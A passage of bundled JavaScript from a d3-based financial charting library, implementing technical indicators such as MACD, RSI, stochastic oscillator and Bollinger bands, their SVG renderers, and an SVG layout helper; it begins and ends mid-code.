var initialMovingAverageAccumulator = function initialMovingAverageAccumulator(period) {
var values = [];
return function (value) {
var movingAverage = void 0;
if (values.length < period) {
if (value != null) {
values.push(value);
} else {
values = [];
}
}
if (values.length >= period) {
movingAverage = mean$1(values);
}
return movingAverage;
};
};
var exponentialMovingAverage = function exponentialMovingAverage(data) {
var size = period.apply(this, arguments);
var alpha = 2 / (size + 1);
var initialAccumulator = initialMovingAverageAccumulator(size);
var ema = void 0;
return data.map(function (d, i) {
var v = value(d, i);
if (ema === undefined) {
ema = initialAccumulator(v);
} else {
ema = v * alpha + (1 - alpha) * ema;
}
return convertNaN(ema);
});
};
exponentialMovingAverage.period = function () {
if (!arguments.length) {
return period;
}
period = functor$1(arguments.length <= 0 ? undefined : arguments[0]);
return exponentialMovingAverage;
};
exponentialMovingAverage.value = function () {
if (!arguments.length) {
return value;
}
value = arguments.length <= 0 ? undefined : arguments[0];
return exponentialMovingAverage;
};
return exponentialMovingAverage;
}
function calculator$2 () {
var value = identity$4;
var fastEMA = calculator$1().period(12);
var slowEMA = calculator$1().period(26);
var signalEMA = calculator$1().period(9);
var macd = function macd(data) {
fastEMA.value(value);
slowEMA.value(value);
var diff = zip$1(fastEMA(data), slowEMA(data)).map(function (d) {
return d[0] !== undefined && d[1] !== undefined ? d[0] - d[1] : undefined;
});
var averageDiff = signalEMA(diff);
return zip$1(diff, averageDiff).map(function (d) {
return {
macd: d[0],
signal: d[1],
divergence: d[0] !== undefined && d[1] !== undefined ? d[0] - d[1] : undefined
};
});
};
macd.value = function () {
if (!arguments.length) {
return value;
}
value = arguments.length <= 0 ? undefined : arguments[0];
return macd;
};
rebindAll(macd, fastEMA, includeMap({ 'period': 'fastPeriod' }));
rebindAll(macd, slowEMA, includeMap({ 'period': 'slowPeriod' }));
rebindAll(macd, signalEMA, includeMap({ 'period': 'signalPeriod' }));
return macd;
}
function calculator$3 () {
var slidingWindow = _slidingWindow().period(14);
var wildersSmoothing = function wildersSmoothing(values, prevAvg) {
return prevAvg + (values[values.length - 1] - prevAvg) / values.length;
};
var sum = function sum(a, b) {
return a + b;
};
var makeAccumulator = function makeAccumulator(prevClose, prevDownChangesAvg, prevUpChangesAvg) {
return function (closes) {
if (!closes) {
if (prevClose !== undefined) {
prevClose = NaN;
}
return undefined;
}
if (prevClose === undefined) {
prevClose = closes[0];
return undefined;
}
var downChanges = [];
var upChanges = [];
closes.forEach(function (close) {
var downChange = prevClose < close ? 0 : prevClose - close;
var upChange = prevClose > close ? 0 : close - prevClose;
downChanges.push(downChange);
upChanges.push(upChange);
prevClose = isNaN(prevClose) ? NaN : close;
});
var downChangesAvg = prevDownChangesAvg ? wildersSmoothing(downChanges, prevDownChangesAvg) : downChanges.reduce(sum) / closes.length;
var upChangesAvg = prevUpChangesAvg ? wildersSmoothing(upChanges, prevUpChangesAvg) : upChanges.reduce(sum) / closes.length;
prevDownChangesAvg = downChangesAvg;
prevUpChangesAvg = upChangesAvg;
var rs = upChangesAvg / downChangesAvg;
return convertNaN(100 - 100 / (1 + rs));
};
};
var rsi = function rsi(data) {
var rsiAccumulator = makeAccumulator();
slidingWindow.accumulator(rsiAccumulator);
return slidingWindow(data);
};
rebind(rsi, slidingWindow, 'period', 'value');
return rsi;
}
function calculator$5 () {
var slidingWindow = _slidingWindow().accumulator(function (values) {
return values && mean$1(values);
});
var movingAverage = function movingAverage(data) {
return slidingWindow(data);
};
rebind(movingAverage, slidingWindow, 'period', 'value');
return movingAverage;
}
function calculator$4 () {
var closeValue = function closeValue(d, i) {
return d.close;
};
var highValue = function highValue(d, i) {
return d.high;
};
var lowValue = function lowValue(d, i) {
return d.low;
};
var kWindow = _slidingWindow().period(5).defined(function (d) {
return closeValue(d) != null && highValue(d) != null && lowValue(d) != null;
}).accumulator(function (values) {
var maxHigh = values && max$1(values, highValue);
var minLow = values && min$1(values, lowValue);
var kValue = values && 100 * (closeValue(values[values.length - 1]) - minLow) / (maxHigh - minLow);
return convertNaN(kValue);
});
var dWindow = calculator$5().period(3);
var stochastic = function stochastic(data) {
var kValues = kWindow(data);
var dValues = dWindow(kValues);
return kValues.map(function (k, i) {
return { k: k, d: dValues[i] };
});
};
stochastic.closeValue = function () {
if (!arguments.length) {
return closeValue;
}
closeValue = arguments.length <= 0 ? undefined : arguments[0];
return stochastic;
};
stochastic.highValue = function () {
if (!arguments.length) {
return highValue;
}
highValue = arguments.length <= 0 ? undefined : arguments[0];
return stochastic;
};
stochastic.lowValue = function () {
if (!arguments.length) {
return lowValue;
}
lowValue = arguments.length <= 0 ? undefined : arguments[0];
return stochastic;
};
rebindAll(stochastic, kWindow, includeMap({ 'period': 'kPeriod' }));
rebindAll(stochastic, dWindow, includeMap({ 'period': 'dPeriod' }));
return stochastic;
}
function calculator$6 () {
var volumeValue = function volumeValue(d, i) {
return d.volume;
};
var closeValue = function closeValue(d, i) {
return d.close;
};
var emaComputer = calculator$1().period(13);
var slidingWindow = _slidingWindow().period(2).defined(function (d) {
return closeValue(d) != null && volumeValue(d) != null;
}).accumulator(function (values) {
return values && convertNaN((closeValue(values[1]) - closeValue(values[0])) * volumeValue(values[1]));
});
var force = function force(data) {
var forceIndex = slidingWindow(data);
return emaComputer(forceIndex);
};
force.volumeValue = function () {
if (!arguments.length) {
return volumeValue;
}
volumeValue = arguments.length <= 0 ? undefined : arguments[0];
return force;
};
force.closeValue = function () {
if (!arguments.length) {
return closeValue;
}
closeValue = arguments.length <= 0 ? undefined : arguments[0];
return force;
};
rebind(force, emaComputer, 'period');
return force;
}
function calculator$7 () {
var factor = 0.1;
var value = identity$4;
var envelope = function envelope(data) {
return data.map(function (d) {
var lower = convertNaN(value(d) * (1.0 - factor));
var upper = convertNaN(value(d) * (1.0 + factor));
return { lower: lower, upper: upper };
});
};
envelope.factor = function () {
if (!arguments.length) {
return factor;
}
factor = arguments.length <= 0 ? undefined : arguments[0];
return envelope;
};
envelope.value = function () {
if (!arguments.length) {
return value;
}
value = arguments.length <= 0 ? undefined : arguments[0];
return envelope;
};
return envelope;
}
function calculator$8 () {
var closeValue = function closeValue(d, i) {
return d.close;
};
var highValue = function highValue(d, i) {
return d.high;
};
var lowValue = function lowValue(d, i) {
return d.low;
};
var emaComputer = calculator$1().period(13);
var elderRay = function elderRay(data) {
emaComputer.value(closeValue);
return zip$1(data, emaComputer(data)).map(function (d) {
var bullPower = convertNaN(highValue(d[0]) - d[1]);
var bearPower = convertNaN(lowValue(d[0]) - d[1]);
return { bullPower: bullPower, bearPower: bearPower };
});
};
elderRay.closeValue = function () {
if (!arguments.length) {
return closeValue;
}
closeValue = arguments.length <= 0 ? undefined : arguments[0];
return elderRay;
};
elderRay.highValue = function () {
if (!arguments.length) {
return highValue;
}
highValue = arguments.length <= 0 ? undefined : arguments[0];
return elderRay;
};
elderRay.lowValue = function () {
if (!arguments.length) {
return lowValue;
}
lowValue = arguments.length <= 0 ? undefined : arguments[0];
return elderRay;
};
rebind(elderRay, emaComputer, 'period');
return elderRay;
}
// applies an algorithm to an array and merges the result using the given merge function.
function merge$2 () {
var merge = noop,
algorithm = identity;
var mergeCompute = function mergeCompute(data) {
return d3.zip(data, algorithm(data)).map(function (tuple) {
return merge(tuple[0], tuple[1]);
});
};
mergeCompute.algorithm = function (x) {
if (!arguments.length) {
return algorithm;
}
algorithm = x;
return mergeCompute;
};
mergeCompute.merge = function (x) {
if (!arguments.length) {
return merge;
}
merge = x;
return mergeCompute;
};
return mergeCompute;
}
function bollingerBands () {
var bollingerAlgorithm = calculator().value(function (d) {
return d.close;
});
var mergedAlgorithm = merge$2().algorithm(bollingerAlgorithm).merge(function (datum, indicator) {
datum.bollingerBands = indicator;
return datum;
});
var bollingerBands = function bollingerBands(data) {
return mergedAlgorithm(data);
};
bollingerBands.root = function (d) {
return d.bollingerBands;
};
rebind(bollingerBands, mergedAlgorithm, 'merge');
rebind(bollingerBands, bollingerAlgorithm, 'period', 'value', 'multiplier');
return bollingerBands;
}
function exponentialMovingAverage () {
var ema = calculator$1().value(function (d) {
return d.close;
});
var mergedAlgorithm = merge$2().algorithm(ema).merge(function (datum, indicator) {
datum.exponentialMovingAverage = indicator;
return datum;
});
var exponentialMovingAverage = function exponentialMovingAverage(data) {
return mergedAlgorithm(data);
};
rebind(exponentialMovingAverage, mergedAlgorithm, 'merge');
rebind(exponentialMovingAverage, ema, 'period', 'value');
return exponentialMovingAverage;
}
function macd () {
var macdAlgorithm = calculator$2().value(function (d) {
return d.close;
});
var mergedAlgorithm = merge$2().algorithm(macdAlgorithm).merge(function (datum, indicator) {
datum.macd = indicator;
return datum;
});
var macd = function macd(data) {
return mergedAlgorithm(data);
};
rebind(macd, mergedAlgorithm, 'merge');
rebind(macd, macdAlgorithm, 'fastPeriod', 'slowPeriod', 'signalPeriod', 'value');
return macd;
}
function movingAverage () {
var ma = calculator$5().value(function (d) {
return d.close;
});
var mergedAlgorithm = merge$2().algorithm(ma).merge(function (datum, indicator) {
datum.movingAverage = indicator;
return datum;
});
var movingAverage = function movingAverage(data) {
return mergedAlgorithm(data);
};
rebind(movingAverage, mergedAlgorithm, 'merge');
rebind(movingAverage, ma, 'period', 'value');
return movingAverage;
}
function relativeStrengthIndex () {
var rsi = calculator$3();
var mergedAlgorithm = merge$2().algorithm(rsi).merge(function (datum, indicator) {
datum.rsi = indicator;
return datum;
});
var relativeStrengthIndex = function relativeStrengthIndex(data) {
return mergedAlgorithm(data);
};
rebind(relativeStrengthIndex, mergedAlgorithm, 'merge');
rebind(relativeStrengthIndex, rsi, 'period', 'value');
return relativeStrengthIndex;
}
function stochasticOscillator () {
var stoc = calculator$4();
var mergedAlgorithm = merge$2().algorithm(stoc).merge(function (datum, indicator) {
datum.stochastic = indicator;
return datum;
});
var stochasticOscillator = function stochasticOscillator(data) {
return mergedAlgorithm(data);
};
rebind(stochasticOscillator, mergedAlgorithm, 'merge');
rebind(stochasticOscillator, stoc, 'kPeriod', 'dPeriod', 'lowValue', 'closeValue', 'highValue');
return stochasticOscillator;
}
function forceIndex () {
var force = calculator$6();
var mergedAlgorithm = merge$2().algorithm(force).merge(function (datum, indicator) {
datum.force = indicator;
return datum;
});
var forceIndex = function forceIndex(data) {
return mergedAlgorithm(data);
};
rebind(forceIndex, mergedAlgorithm, 'merge');
rebind(forceIndex, force, 'period', 'volumeValue', 'closeValue');
return forceIndex;
}
function envelope () {
var envelopeAlgorithm = calculator$7();
var mergedAlgorithm = merge$2().algorithm(envelopeAlgorithm).merge(function (datum, env) {
datum.envelope = env;
return datum;
});
var envelope = function envelope(data) {
return mergedAlgorithm(data);
};
envelope.root = function (d) {
return d.envelope;
};
rebind(envelope, mergedAlgorithm, 'merge');
rebind(envelope, envelopeAlgorithm, 'value', 'factor');
return envelope;
}
function elderRay () {
var elderRayAlgorithm = calculator$8().closeValue(function (d) {
return d.close;
});
var mergedAlgorithm = merge$2().algorithm(elderRayAlgorithm).merge(function (datum, indicator) {
datum.elderRay = indicator;
return datum;
});
var elderRay = function elderRay(data) {
return mergedAlgorithm(data);
};
rebind(elderRay, mergedAlgorithm, 'merge');
rebind(elderRay, elderRayAlgorithm, 'highValue', 'lowValue', 'period', 'value');
return elderRay;
}
var algorithm = {
bollingerBands: bollingerBands,
exponentialMovingAverage: exponentialMovingAverage,
macd: macd,
merge: merge$2,
movingAverage: movingAverage,
relativeStrengthIndex: relativeStrengthIndex,
stochasticOscillator: stochasticOscillator,
forceIndex: forceIndex,
envelope: envelope,
elderRay: elderRay
};
function _area () {
var decorate = noop;
var base = xyBase();
var areaData = d3.svg.area().defined(base.defined).x(base.x).y0(base.y0).y1(base.y1);
var dataJoin$$ = dataJoin().selector('path.area').element('path').attr('class', 'area');
var area = function area(selection) {
selection.each(function (data, index) {
var path = dataJoin$$(this, [data]);
path.attr('d', areaData);
decorate(path, data, index);
});
};
area.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return area;
};
d3.rebind(area, base, 'xScale', 'xValue', 'yScale', 'yValue', 'y1Value', 'y0Value');
d3.rebind(area, dataJoin$$, 'key');
d3.rebind(area, areaData, 'interpolate', 'tension');
return area;
}
function bollingerBands$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
yValue = function yValue(d, i) {
return d.close;
},
xValue = function xValue(d, i) {
return d.date;
},
root = function root(d) {
return d.bollingerBands;
},
decorate = noop;
var area = _area().y0Value(function (d, i) {
return root(d).upper;
}).y1Value(function (d, i) {
return root(d).lower;
});
var upperLine = _line().yValue(function (d, i) {
return root(d).upper;
});
var averageLine = _line().yValue(function (d, i) {
return root(d).average;
});
var lowerLine = _line().yValue(function (d, i) {
return root(d).lower;
});
var bollingerBands = function bollingerBands(selection) {
var multi = _multi().xScale(xScale).yScale(yScale).series([area, upperLine, lowerLine, averageLine]).decorate(function (g, data, index) {
g.enter().attr('class', function (d, i) {
return 'multi bollinger ' + ['area', 'upper', 'lower', 'average'][i];
});
decorate(g, data, index);
});
area.xValue(xValue);
upperLine.xValue(xValue);
averageLine.xValue(xValue);
lowerLine.xValue(xValue);
selection.call(multi);
};
bollingerBands.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return bollingerBands;
};
bollingerBands.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return bollingerBands;
};
bollingerBands.xValue = function (x) {
if (!arguments.length) {
return xValue;
}
xValue = x;
return bollingerBands;
};
bollingerBands.yValue = function (x) {
if (!arguments.length) {
return yValue;
}
yValue = x;
return bollingerBands;
};
bollingerBands.root = function (x) {
if (!arguments.length) {
return root;
}
root = x;
return bollingerBands;
};
bollingerBands.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return bollingerBands;
};
return bollingerBands;
}
// the barWidth property of the various series takes a function which, when given an
// array of x values, returns a suitable width. This function creates a width which is
// equal to the smallest distance between neighbouring datapoints multiplied
// by the given factor
function fractionalBarWidth (fraction) {
return function (pixelValues) {
// return some default value if there are not enough datapoints to compute the width
if (pixelValues.length <= 1) {
return 10;
}
pixelValues.sort();
// compute the distance between neighbouring items
var neighbourDistances = d3.pairs(pixelValues).map(function (tuple) {
return Math.abs(tuple[0] - tuple[1]);
});
var minDistance = d3.min(neighbourDistances);
return fraction * minDistance;
};
}
// The bar series renders a vertical (column) or horizontal (bar) series. In order
// to provide a common implementation there are a number of functions that specialise
// the rendering logic based on the 'orient' property.
function barUtil () {
var decorate = noop,
barWidth = fractionalBarWidth(0.75),
orient = 'vertical',
pathGenerator = bar();
var base = xyBase().xValue(function (d, i) {
return orient === 'vertical' ? d.x : d.y;
}).yValue(function (d, i) {
return orient === 'vertical' ? d.y : d.x;
});
var dataJoin$$ = dataJoin().selector('g.bar').element('g');
function containerTranslation(d, i) {
if (orient === 'vertical') {
return 'translate(' + base.x1(d, i) + ', ' + base.y0(d, i) + ')';
} else {
return 'translate(' + base.x0(d, i) + ', ' + base.y1(d, i) + ')';
}
}
function barHeight(d, i) {
if (orient === 'vertical') {
return base.y1(d, i) - base.y0(d, i);
} else {
return base.x1(d, i) - base.x0(d, i);
}
}
function valueAxisDimension(generator) {
if (orient === 'vertical') {
return generator.height;
} else {
return generator.width;
}
}
function crossAxisDimension(generator) {
if (orient === 'vertical') {
return generator.width;
} else {
return generator.height;
}
}
function crossAxisValueFunction() {
return orient === 'vertical' ? base.x : base.y;
}
var bar$$ = function bar$$(selection) {
selection.each(function (data, index) {
if (orient !== 'vertical' && orient !== 'horizontal') {
throw new Error('The bar series does not support an orientation of ' + orient);
}
dataJoin$$.attr('class', 'bar ' + orient);
var filteredData = data.filter(base.defined);
pathGenerator.x(0).y(0).width(0).height(0);
if (orient === 'vertical') {
pathGenerator.verticalAlign('top');
} else {
pathGenerator.horizontalAlign('right');
}
// set the width of the bars
var width = barWidth(filteredData.map(crossAxisValueFunction()));
crossAxisDimension(pathGenerator)(width);
var g = dataJoin$$(this, filteredData);
// within the enter selection the pathGenerator creates a zero
// height bar. As a result, when used with a transition the bar grows
// from y0 to y1 (y)
g.enter().attr('transform', containerTranslation).append('path').attr('d', function (d) {
return pathGenerator([d]);
});
// set the bar to its correct height
valueAxisDimension(pathGenerator)(barHeight);
g.attr('transform', containerTranslation).select('path').attr('d', function (d) {
return pathGenerator([d]);
});
decorate(g, filteredData, index);
});
};
bar$$.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return bar$$;
};
bar$$.barWidth = function (x) {
if (!arguments.length) {
return barWidth;
}
barWidth = d3.functor(x);
return bar$$;
};
bar$$.orient = function (x) {
if (!arguments.length) {
return orient;
}
orient = x;
return bar$$;
};
d3.rebind(bar$$, base, 'xScale', 'xValue', 'x1Value', 'x0Value', 'yScale', 'yValue', 'y1Value', 'y0Value');
d3.rebind(bar$$, dataJoin$$, 'key');
return bar$$;
}
function macd$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
xValue = function xValue(d) {
return d.date;
},
root = function root(d) {
return d.macd;
},
macdLine = _line(),
signalLine = _line(),
divergenceBar = barUtil(),
multiSeries = _multi(),
decorate = noop;
var macd = function macd(selection) {
macdLine.xValue(xValue).yValue(function (d, i) {
return root(d).macd;
});
signalLine.xValue(xValue).yValue(function (d, i) {
return root(d).signal;
});
divergenceBar.xValue(xValue).yValue(function (d, i) {
return root(d).divergence;
});
multiSeries.xScale(xScale).yScale(yScale).series([divergenceBar, macdLine, signalLine]).decorate(function (g, data, index) {
g.enter().attr('class', function (d, i) {
return 'multi ' + ['macd-divergence', 'macd', 'macd-signal'][i];
});
decorate(g, data, index);
});
selection.call(multiSeries);
};
macd.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return macd;
};
macd.xValue = function (x) {
if (!arguments.length) {
return xValue;
}
xValue = x;
return macd;
};
macd.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return macd;
};
macd.root = function (x) {
if (!arguments.length) {
return root;
}
root = x;
return macd;
};
macd.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return macd;
};
d3.rebind(macd, divergenceBar, 'barWidth');
return macd;
}
function relativeStrengthIndex$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
upperValue = 70,
lowerValue = 30,
multiSeries = _multi(),
decorate = noop;
var annotations = line();
var rsiLine = _line().xValue(function (d, i) {
return d.date;
}).yValue(function (d, i) {
return d.rsi;
});
var rsi = function rsi(selection) {
multiSeries.xScale(xScale).yScale(yScale).series([annotations, rsiLine]).mapping(function (series) {
if (series === annotations) {
return [upperValue, 50, lowerValue];
}
return this;
}).decorate(function (g, data, index) {
g.enter().attr('class', function (d, i) {
return 'multi rsi ' + ['annotations', 'indicator'][i];
});
decorate(g, data, index);
});
selection.call(multiSeries);
};
rsi.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return rsi;
};
rsi.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return rsi;
};
rsi.upperValue = function (x) {
if (!arguments.length) {
return upperValue;
}
upperValue = x;
return rsi;
};
rsi.lowerValue = function (x) {
if (!arguments.length) {
return lowerValue;
}
lowerValue = x;
return rsi;
};
rsi.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return rsi;
};
d3.rebind(rsi, rsiLine, 'yValue', 'xValue');
return rsi;
}
function stochasticOscillator$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
upperValue = 80,
lowerValue = 20,
multi = _multi(),
decorate = noop;
var annotations = line();
var dLine = _line().xValue(function (d, i) {
return d.date;
}).yValue(function (d, i) {
return d.stochastic.d;
});
var kLine = _line().yValue(function (d, i) {
return d.stochastic.k;
});
var stochastic = function stochastic(selection) {
multi.xScale(xScale).yScale(yScale).series([annotations, dLine, kLine]).mapping(function (series) {
if (series === annotations) {
return [upperValue, lowerValue];
}
return this;
}).decorate(function (g, data, index) {
g.enter().attr('class', function (d, i) {
return 'multi stochastic ' + ['annotations', 'stochastic-d', 'stochastic-k'][i];
});
decorate(g, data, index);
});
selection.call(multi);
};
stochastic.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return stochastic;
};
stochastic.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return stochastic;
};
stochastic.upperValue = function (x) {
if (!arguments.length) {
return upperValue;
}
upperValue = x;
return stochastic;
};
stochastic.lowerValue = function (x) {
if (!arguments.length) {
return lowerValue;
}
lowerValue = x;
return stochastic;
};
stochastic.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return stochastic;
};
d3.rebind(stochastic, dLine, 'yDValue', 'xDValue');
d3.rebind(stochastic, kLine, 'yKValue', 'xKValue');
return stochastic;
}
function forceIndex$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
multiSeries = _multi(),
decorate = noop;
var annotations = line();
var forceLine = _line().xValue(function (d, i) {
return d.date;
}).yValue(function (d, i) {
return d.force;
});
var force = function force(selection) {
multiSeries.xScale(xScale).yScale(yScale).series([annotations, forceLine]).mapping(function (series) {
if (series === annotations) {
return [0];
}
return this;
}).decorate(function (g, data, index) {
g.enter().attr('class', function (d, i) {
return 'multi ' + ['annotations', 'indicator'][i];
});
decorate(g, data, index);
});
selection.call(multiSeries);
};
force.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
annotations.xScale(x);
return force;
};
force.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
annotations.yScale(x);
return force;
};
force.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return force;
};
d3.rebind(force, forceLine, 'yValue', 'xValue');
return force;
}
function envelope$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
yValue = function yValue(d, i) {
return d.close;
},
xValue = function xValue(d, i) {
return d.date;
},
root = function root(d) {
return d.envelope;
},
decorate = noop;
var area = _area().y0Value(function (d, i) {
return root(d).upper;
}).y1Value(function (d, i) {
return root(d).lower;
});
var upperLine = _line().yValue(function (d, i) {
return root(d).upper;
});
var lowerLine = _line().yValue(function (d, i) {
return root(d).lower;
});
var envelope = function envelope(selection) {
var multi = _multi().xScale(xScale).yScale(yScale).series([area, upperLine, lowerLine]).decorate(function (g, data, index) {
g.enter().attr('class', function (d, i) {
return 'multi envelope ' + ['area', 'upper', 'lower'][i];
});
decorate(g, data, index);
});
area.xValue(xValue);
upperLine.xValue(xValue);
lowerLine.xValue(xValue);
selection.call(multi);
};
envelope.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return envelope;
};
envelope.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return envelope;
};
envelope.xValue = function (x) {
if (!arguments.length) {
return xValue;
}
xValue = x;
return envelope;
};
envelope.yValue = function (x) {
if (!arguments.length) {
return yValue;
}
yValue = x;
return envelope;
};
envelope.root = function (x) {
if (!arguments.length) {
return root;
}
root = x;
return envelope;
};
envelope.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return envelope;
};
return envelope;
}
function elderRay$1 () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
xValue = function xValue(d) {
return d.date;
},
root = function root(d) {
return d.elderRay;
},
barWidth = fractionalBarWidth(0.75),
bullBar = barUtil(),
bearBar = barUtil(),
bullBarTop = barUtil(),
bearBarTop = barUtil(),
multi = _multi(),
decorate = noop;
var elderRay = function elderRay(selection) {
function isTop(input, comparison) {
// The values share parity and the input is smaller than the comparison
return input * comparison > 0 && Math.abs(input) < Math.abs(comparison);
}
bullBar.xValue(xValue).yValue(function (d, i) {
return isTop(root(d).bullPower, root(d).bearPower) ? undefined : root(d).bullPower;
}).barWidth(barWidth);
bearBar.xValue(xValue).yValue(function (d, i) {
return isTop(root(d).bearPower, root(d).bullPower) ? undefined : root(d).bearPower;
}).barWidth(barWidth);
bullBarTop.xValue(xValue).yValue(function (d, i) {
return isTop(root(d).bullPower, root(d).bearPower) ? root(d).bullPower : undefined;
}).barWidth(barWidth);
bearBarTop.xValue(xValue).yValue(function (d, i) {
return isTop(root(d).bearPower, root(d).bullPower) ? root(d).bearPower : undefined;
}).barWidth(barWidth);
multi.xScale(xScale).yScale(yScale).series([bullBar, bearBar, bullBarTop, bearBarTop]).decorate(function (g, data, index) {
g.enter().attr('class', function (d, i) {
return 'multi ' + ['bull', 'bear', 'bull top', 'bear top'][i];
});
decorate(g, data, index);
});
selection.call(multi);
};
elderRay.barWidth = function (x) {
if (!arguments.length) {
return barWidth;
}
barWidth = d3.functor(x);
return elderRay;
};
elderRay.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return elderRay;
};
elderRay.xValue = function (x) {
if (!arguments.length) {
return xValue;
}
xValue = x;
return elderRay;
};
elderRay.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return elderRay;
};
elderRay.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return elderRay;
};
return elderRay;
}
var renderer = {
bollingerBands: bollingerBands$1,
macd: macd$1,
relativeStrengthIndex: relativeStrengthIndex$1,
stochasticOscillator: stochasticOscillator$1,
forceIndex: forceIndex$1,
envelope: envelope$1,
elderRay: elderRay$1
};
var indicator = {
algorithm: algorithm,
renderer: renderer
};
function ownerSVGElement(node) {
while (node.ownerSVGElement) {
node = node.ownerSVGElement;
}
return node;
}
// parses the style attribute, converting it into a JavaScript object
function parseStyle(style) {
if (!style) {
return {};
}
var properties = style.split(';');
var json = {};
properties.forEach(function (property) {
var components = property.split(':');
if (components.length === 2) {
var name = components[0].trim();
var value = components[1].trim();
json[name] = isNaN(value) ? value : Number(value);
}
});
return json;
}
// creates the structure required by the layout engine
function createNodes(el) {
function getChildNodes() {
var children = [];
for (var i = 0; i < el.childNodes.length; i++) {
var child = el.childNodes[i];
if (child.nodeType === 1) {
if (child.getAttribute('layout-style')) {
children.push(createNodes(child));
}
}
}
return children;
}
return {
style: parseStyle(el.getAttribute('layout-style')),
children: getChildNodes(el),
element: el
};
}
// takes the result of layout and applied it to the SVG elements
function applyLayout(node, subtree) {
// don't set layout-width/height on layout root node
if (subtree) {
node.element.setAttribute('layout-width', node.layout.width);
node.element.setAttribute('layout-height', node.layout.height);
}
node.element.setAttribute('layout-x', node.layout.left);
node.element.setAttribute('layout-y', node.layout.top);
var rectOrSvg = node.element.nodeName.match(/(?:svg|rect)/i);
//for svg / rect set the dimensions via width/height properties
if (rectOrSvg) {
node.element.setAttribute('width', node.layout.width);
node.element.setAttribute('height', node.layout.height);
}
//for non-root svg / rect set the offset via x/y properties
if (rectOrSvg && subtree) {
node.element.setAttribute('x', node.layout.left);
node.element.setAttribute('y', node.layout.top);
}
// for all other non-root elements apply a transform
if (!rectOrSvg && subtree) {
node.element.setAttribute('transform', 'translate(' + node.layout.left + ', ' + node.layout.top + ')');
}
node.children.forEach(function (childNode) {
applyLayout(childNode, true);
});
}
function computeDimensions(node) {
if (node.hasAttribute('layout-width') && node.hasAttribute('layout-height')) {
return {
width: Number(node.getAttribute('layout-width')),
height: Number(node.getAttribute('layout-height'))
};
} else {
return innerDimensions(node);
}
}
function computePosition(node) {
if (node.hasAttribute('layout-x') && node.hasAttribute('layout-y')) {
return {
x: Number(node.getAttribute('layout-x')),
y: Number(node.getAttribute('layout-y'))
};
} else {
return { x: 0, y: 0 };
}
}
function layout$1(node) {
if (ownerSVGElement(node).__layout__ === 'suspended') {
return;
}
var dimensions = computeDimensions(node);
var position = computePosition(node);
// create the layout nodes
var layoutNodes = createNodes(node);
// set the dimensions / position of the root
layoutNodes.style.width = dimensions.width;
layoutNodes.style.height = dimensions.height;
layoutNodes.style.left = position.x;
layoutNodes.style.top = position.y;
// use the Facebook CSS goodness
computeLayout(layoutNodes);
// apply the resultant layout
applyLayout(layoutNodes);
}
function layoutSuspended(x) {
if (!arguments.length) {
return Boolean(ownerSVGElement(this.node()).__layout__);
}
return this.each(function () {
ownerSVGElement(this).__layout__ = x ? 'suspended' : '';
});
}
d3.selection.prototype.layoutSuspended = layoutSuspended;
d3.transition.prototype.layoutSuspended = layoutSuspended;
function layoutSelection(name, value) {
var argsLength = arguments.length;
// For layout(string), return the lyout value for the first node
if (argsLength === 1 && typeof name === 'string') {
var node = this.node();
return Number(node.getAttribute('layout-' + name));
}
// for all other invocations, iterate over each item in the selection
return this.each(function () {
if (argsLength === 2) {
if (typeof name !== 'string') {
// layout(number, number) - sets the width and height and performs layout
this.setAttribute('layout-width', name);
this.setAttribute('layout-height', value);
layout$1(this);
} else {
// layout(name, value) - sets a layout- attribute
this.setAttribute('layout-style', name + ':' + value);
}
} else if (argsLength === 1) {
if (typeof name !== 'string') {
// layout(object) - sets the layout-style property to the given object
var currentStyle = parseStyle(this.getAttribute('layout-style'));
var styleDiff = name;
Object.keys(styleDiff).forEach(function (property) {
currentStyle[property] = styleDiff[property];
});
var layoutCss = Object.keys(currentStyle).map(function (property) {
return property + ':' + currentStyle[property];
}).join(';');
this.setAttribute('layout-style', layoutCss);
}
} else if (argsLength === 0) {
// layout() - executes layout
layout$1(this);
}
});
}
d3.selection.prototype.layout = layoutSelection;
d3.transition.prototype.layout = layoutSelection;
function skipWeekends$1 () {
var millisPerDay = 24 * 3600 * 1000;
var millisPerWorkWeek = millisPerDay * 5;
var millisPerWeek = millisPerDay * 7;
var skipWeekends = {};
function isWeekend(date) {
return date.getDay() === 0 || date.getDay() === 6;
}
skipWeekends.clampDown = function (date) {
if (date && isWeekend(date)) {
var daysToSubtract = date.getDay() === 0 ? 2 : 1;
// round the date up to midnight
var newDate = d3.time.day.ceil(date);
// then subtract the required number of days
return d3.time.day.offset(newDate, -daysToSubtract);
} else {
return date;
}
};
skipWeekends.clampUp = function (date) {
if (date && isWeekend(date)) {
